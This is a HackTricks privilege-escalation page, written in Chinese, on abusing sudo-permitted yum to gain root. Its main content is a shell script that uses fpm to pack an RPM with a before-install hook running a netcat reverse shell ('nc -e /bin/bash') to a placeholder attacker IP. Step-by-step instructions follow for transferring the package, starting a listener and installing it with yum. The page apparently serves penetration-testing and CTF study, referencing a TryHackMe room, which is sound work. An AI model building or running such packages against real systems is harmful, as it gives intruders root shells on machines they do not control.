hacktricks/linux-unix/privilege-escalation/exploiting-yum.md

40 lines
2.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
在[gtfobins](https://gtfobins.github.io/gtfobins/yum/)上还可以找到有关yum的更多示例。
# 通过RPM软件包执行任意命令
## 检查环境
为了利用这个向量用户必须能够以更高权限的用户即root身份执行yum命令。
### 这个向量的一个工作示例
这个漏洞的一个工作示例可以在[tryhackme](https://tryhackme.com)的[daily bugle](https://tryhackme.com/room/dailybugle)房间中找到。
## 打包一个RPM
在接下来的部分中,我将介绍如何使用[fpm](https://github.com/jordansissel/fpm)将一个反向shell打包到一个RPM中。
下面的示例创建了一个包其中包含一个带有任意脚本的before-install触发器攻击者可以自行定义。安装时此软件包将执行任意命令。我使用了一个简单的反向netcat shell示例进行演示但可以根据需要进行更改。
```text
EXPLOITDIR=$(mktemp -d)
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
RPMNAME="exploited"
echo $CMD > $EXPLOITDIR/beforeinstall.sh
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
```
# 获取shell
使用上述示例,假设`yum`可以作为一个具有更高权限的用户执行。
1. **传输**rpm到主机
2. **在本地主机上启动**监听器,例如[示例netcat监听器](/shells/shells/linux#netcat)
3. **安装**受影响的软件包`yum localinstall -y exploited-1.0-1.noarch.rpm`